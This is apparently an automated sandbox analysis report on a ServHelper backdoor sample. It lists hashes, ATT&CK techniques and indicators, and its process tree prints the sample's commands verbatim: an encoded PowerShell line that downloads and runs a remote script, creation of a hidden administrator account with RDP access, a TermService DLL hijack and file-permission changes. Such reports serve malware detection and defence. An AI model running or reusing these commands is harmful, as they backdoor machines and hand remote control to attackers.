servhelper | d541b9ff1fd68818abd9d0f70966e97beaab82dd6bb32d66566fbd6d657fbfd8

Analysis

max time kernel
124s
max time network
109s
platform
windows7_x64
resource
win7v20210410
submitted
09-08-2021 04:21

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General

Target

86178014e457120d9dc6f6e27453338c.exe
Size

6.0MB
MD5

86178014e457120d9dc6f6e27453338c
SHA1

16ab38c0e9c4516532f9d111523e948a6311bfc0
SHA256

d541b9ff1fd68818abd9d0f70966e97beaab82dd6bb32d66566fbd6d657fbfd8
SHA512

746417e600a1a0cb157f6a74422140b1ed75767a7f47f208c46feadac1dcf845637ce986a11cd7ed3f07e9782ff736b8da448057b0eb65cc50df30baa500bf75

Score

10^/10

servhelper backdoor discovery exploit persistence suricata trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
12	956	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1980	icacls.exe
544	icacls.exe
1220	takeown.exe
2024	icacls.exe
1716	icacls.exe
924	icacls.exe
788	icacls.exe
932	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130e0-183.dat	upx
behavioral1/files/0x00050000000130e1-184.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
288	Process not Found
288	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
544	icacls.exe
1220	takeown.exe
2024	icacls.exe
1716	icacls.exe
924	icacls.exe
788	icacls.exe
932	icacls.exe
1980	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c261f65c-c5c5-4ee5-8917-969188840c02	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SI4PKHXK8YLXXEWKMU4Q.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6ac43274-53cf-491d-a291-6fa27120fe4c	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2b25da9f-166d-4992-81ce-f6008985f3df	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_80a98c12-462f-4523-a4ff-4fd85ac77c55	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3b8840d3-d0ba-40c1-9f14-83e71b26a432	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_99079d4f-656b-4ea6-a271-7f41dd686224	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e2dc9e65-295b-4a25-9b24-30de871d1037	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_466c1ed4-16fc-42f0-a5cf-9ce89880283a	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_515d8fe1-b2f0-42ea-9770-eb3a85b9c8b4	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_80795e16-a1e7-4269-9c5f-d237f43eef3a	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e411422f-c750-4950-8d1e-f80cc9365c29	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 4073488dd58cd701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
284	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	86178014e457120d9dc6f6e27453338c.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	86178014e457120d9dc6f6e27453338c.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1472	powershell.exe
1472	powershell.exe
924	powershell.exe
924	powershell.exe
1308	powershell.exe
1308	powershell.exe
1208	powershell.exe
1208	powershell.exe
1472	powershell.exe
1472	powershell.exe
1472	powershell.exe
956	powershell.exe
956	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
464	Process not Found
288	Process not Found
288	Process not Found
288	Process not Found
288	Process not Found

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	1084	86178014e457120d9dc6f6e27453338c.exe
Token: SeDebugPrivilege	1472	powershell.exe
Token: SeDebugPrivilege	924	powershell.exe
Token: SeDebugPrivilege	1308	powershell.exe
Token: SeDebugPrivilege	1208	powershell.exe
Token: SeRestorePrivilege	1716	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1728	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1728	WMIC.exe
Token: SeAuditPrivilege	1728	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1728	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1728	WMIC.exe
Token: SeAuditPrivilege	1728	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	892	WMIC.exe
Token: SeIncreaseQuotaPrivilege	892	WMIC.exe
Token: SeAuditPrivilege	892	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	892	WMIC.exe
Token: SeIncreaseQuotaPrivilege	892	WMIC.exe
Token: SeAuditPrivilege	892	WMIC.exe
Token: SeDebugPrivilege	956	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1084 wrote to memory of 1472	1084	86178014e457120d9dc6f6e27453338c.exe	30
PID 1084 wrote to memory of 1472	1084	86178014e457120d9dc6f6e27453338c.exe	30
PID 1084 wrote to memory of 1472	1084	86178014e457120d9dc6f6e27453338c.exe	30
PID 1472 wrote to memory of 1752	1472	powershell.exe	32
PID 1472 wrote to memory of 1752	1472	powershell.exe	32
PID 1472 wrote to memory of 1752	1472	powershell.exe	32
PID 1752 wrote to memory of 1348	1752	csc.exe	33
PID 1752 wrote to memory of 1348	1752	csc.exe	33
PID 1752 wrote to memory of 1348	1752	csc.exe	33
PID 1472 wrote to memory of 924	1472	powershell.exe	34
PID 1472 wrote to memory of 924	1472	powershell.exe	34
PID 1472 wrote to memory of 924	1472	powershell.exe	34
PID 1472 wrote to memory of 1308	1472	powershell.exe	36
PID 1472 wrote to memory of 1308	1472	powershell.exe	36
PID 1472 wrote to memory of 1308	1472	powershell.exe	36
PID 1472 wrote to memory of 1208	1472	powershell.exe	38
PID 1472 wrote to memory of 1208	1472	powershell.exe	38
PID 1472 wrote to memory of 1208	1472	powershell.exe	38
PID 1472 wrote to memory of 1220	1472	powershell.exe	40
PID 1472 wrote to memory of 1220	1472	powershell.exe	40
PID 1472 wrote to memory of 1220	1472	powershell.exe	40
PID 1472 wrote to memory of 2024	1472	powershell.exe	41
PID 1472 wrote to memory of 2024	1472	powershell.exe	41
PID 1472 wrote to memory of 2024	1472	powershell.exe	41
PID 1472 wrote to memory of 1716	1472	powershell.exe	42
PID 1472 wrote to memory of 1716	1472	powershell.exe	42
PID 1472 wrote to memory of 1716	1472	powershell.exe	42
PID 1472 wrote to memory of 924	1472	powershell.exe	43
PID 1472 wrote to memory of 924	1472	powershell.exe	43
PID 1472 wrote to memory of 924	1472	powershell.exe	43
PID 1472 wrote to memory of 788	1472	powershell.exe	44
PID 1472 wrote to memory of 788	1472	powershell.exe	44
PID 1472 wrote to memory of 788	1472	powershell.exe	44
PID 1472 wrote to memory of 932	1472	powershell.exe	45
PID 1472 wrote to memory of 932	1472	powershell.exe	45
PID 1472 wrote to memory of 932	1472	powershell.exe	45
PID 1472 wrote to memory of 1980	1472	powershell.exe	46
PID 1472 wrote to memory of 1980	1472	powershell.exe	46
PID 1472 wrote to memory of 1980	1472	powershell.exe	46
PID 1472 wrote to memory of 544	1472	powershell.exe	47
PID 1472 wrote to memory of 544	1472	powershell.exe	47
PID 1472 wrote to memory of 544	1472	powershell.exe	47
PID 1472 wrote to memory of 1360	1472	powershell.exe	48
PID 1472 wrote to memory of 1360	1472	powershell.exe	48
PID 1472 wrote to memory of 1360	1472	powershell.exe	48
PID 1472 wrote to memory of 284	1472	powershell.exe	49
PID 1472 wrote to memory of 284	1472	powershell.exe	49
PID 1472 wrote to memory of 284	1472	powershell.exe	49
PID 1472 wrote to memory of 1276	1472	powershell.exe	50
PID 1472 wrote to memory of 1276	1472	powershell.exe	50
PID 1472 wrote to memory of 1276	1472	powershell.exe	50
PID 1472 wrote to memory of 1424	1472	powershell.exe	51
PID 1472 wrote to memory of 1424	1472	powershell.exe	51
PID 1472 wrote to memory of 1424	1472	powershell.exe	51
PID 1424 wrote to memory of 892	1424	net.exe	52
PID 1424 wrote to memory of 892	1424	net.exe	52
PID 1424 wrote to memory of 892	1424	net.exe	52
PID 1472 wrote to memory of 1612	1472	powershell.exe	53
PID 1472 wrote to memory of 1612	1472	powershell.exe	53
PID 1472 wrote to memory of 1612	1472	powershell.exe	53
PID 1612 wrote to memory of 1192	1612	cmd.exe	54
PID 1612 wrote to memory of 1192	1612	cmd.exe	54
PID 1612 wrote to memory of 1192	1612	cmd.exe	54
PID 1192 wrote to memory of 1716	1192	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\86178014e457120d9dc6f6e27453338c.exe
"C:\Users\Admin\AppData\Local\Temp\86178014e457120d9dc6f6e27453338c.exe"
1⤵
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1472
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jwos05d0\jwos05d0.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1752
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1FB1.tmp" "c:\Users\Admin\AppData\Local\Temp\jwos05d0\CSC22ABBD0B181D470C8ADE18864EE5B39D.TMP"
      4⤵
      PID:1348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1208
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1220
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2024
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1716
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:924
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:788
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:932
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1980
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:544
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1360
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:284
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1276
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1424
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:892
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1612
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1192
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1716
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1848
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1752
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1844
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:932
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1540
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2272
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:2284

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1220
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:2024
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:824

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc x2ZZlQ39 /add
1⤵
PID:1716
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc x2ZZlQ39 /add
  2⤵
  PID:1984
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc x2ZZlQ39 /add
    3⤵
    PID:892

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:968
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1212
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:824

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:956
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:892
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:1192

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1336
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1308
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1612

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc x2ZZlQ39
1⤵
PID:1716
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc x2ZZlQ39
  2⤵
  PID:788
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc x2ZZlQ39
    3⤵
    PID:1984

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1308
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1728

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1192
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:892

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1212
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1424
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:956

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/924-101-0x000000001B5B0000-0x000000001B5B1000-memory.dmp

Filesize
4KB

Download
memory/924-120-0x000000001B8F0000-0x000000001B8F1000-memory.dmp

Filesize
4KB

Download
memory/924-121-0x000000001BAC0000-0x000000001BAC1000-memory.dmp

Filesize
4KB

Download
memory/924-102-0x00000000024B0000-0x00000000024B1000-memory.dmp

Filesize
4KB

Download
memory/924-95-0x000000001AAF4000-0x000000001AAF6000-memory.dmp

Filesize
8KB

Download
memory/924-107-0x000000001B980000-0x000000001B981000-memory.dmp

Filesize
4KB

Download
memory/924-94-0x000000001AAF0000-0x000000001AAF2000-memory.dmp

Filesize
8KB

Download
memory/924-97-0x00000000025F0000-0x00000000025F1000-memory.dmp

Filesize
4KB

Download
memory/924-99-0x00000000027E0000-0x00000000027E1000-memory.dmp

Filesize
4KB

Download
memory/956-238-0x00000000194BA000-0x00000000194D9000-memory.dmp

Filesize
124KB

Download
memory/956-207-0x00000000194B4000-0x00000000194B6000-memory.dmp

Filesize
8KB

Download
memory/956-206-0x00000000194B0000-0x00000000194B2000-memory.dmp

Filesize
8KB

Download
memory/1084-65-0x00000000410C7000-0x00000000410C8000-memory.dmp

Filesize
4KB

Download
memory/1084-60-0x0000000041760000-0x0000000041B80000-memory.dmp

Filesize
4.1MB

Download
memory/1084-62-0x00000000410C2000-0x00000000410C4000-memory.dmp

Filesize
8KB

Download
memory/1084-64-0x00000000410C6000-0x00000000410C7000-memory.dmp

Filesize
4KB

Download
memory/1084-63-0x00000000410C4000-0x00000000410C6000-memory.dmp

Filesize
8KB

Download
memory/1208-156-0x000000001ABA0000-0x000000001ABA2000-memory.dmp

Filesize
8KB

Download
memory/1208-157-0x000000001ABA4000-0x000000001ABA6000-memory.dmp

Filesize
8KB

Download
memory/1308-134-0x000000001A810000-0x000000001A812000-memory.dmp

Filesize
8KB

Download
memory/1308-135-0x000000001A814000-0x000000001A816000-memory.dmp

Filesize
8KB

Download
memory/1308-133-0x0000000002460000-0x0000000002461000-memory.dmp

Filesize
4KB

Download
memory/1308-132-0x000000001B500000-0x000000001B501000-memory.dmp

Filesize
4KB

Download
memory/1308-130-0x000000001B600000-0x000000001B601000-memory.dmp

Filesize
4KB

Download
memory/1308-128-0x000000001A760000-0x000000001A761000-memory.dmp

Filesize
4KB

Download
memory/1472-72-0x000000001AAE0000-0x000000001AAE2000-memory.dmp

Filesize
8KB

Download
memory/1472-71-0x0000000002780000-0x0000000002781000-memory.dmp

Filesize
4KB

Download
memory/1472-86-0x000000001B7B0000-0x000000001B7B1000-memory.dmp

Filesize
4KB

Download
memory/1472-85-0x000000001B410000-0x000000001B411000-memory.dmp

Filesize
4KB

Download
memory/1472-96-0x000000001AAEA000-0x000000001AB09000-memory.dmp

Filesize
124KB

Download
memory/1472-73-0x000000001AAE4000-0x000000001AAE6000-memory.dmp

Filesize
8KB

Download
memory/1472-87-0x000000001AAA0000-0x000000001AAA1000-memory.dmp

Filesize
4KB

Download
memory/1472-70-0x00000000026D0000-0x00000000026D1000-memory.dmp

Filesize
4KB

Download
memory/1472-83-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

Filesize
4KB

Download
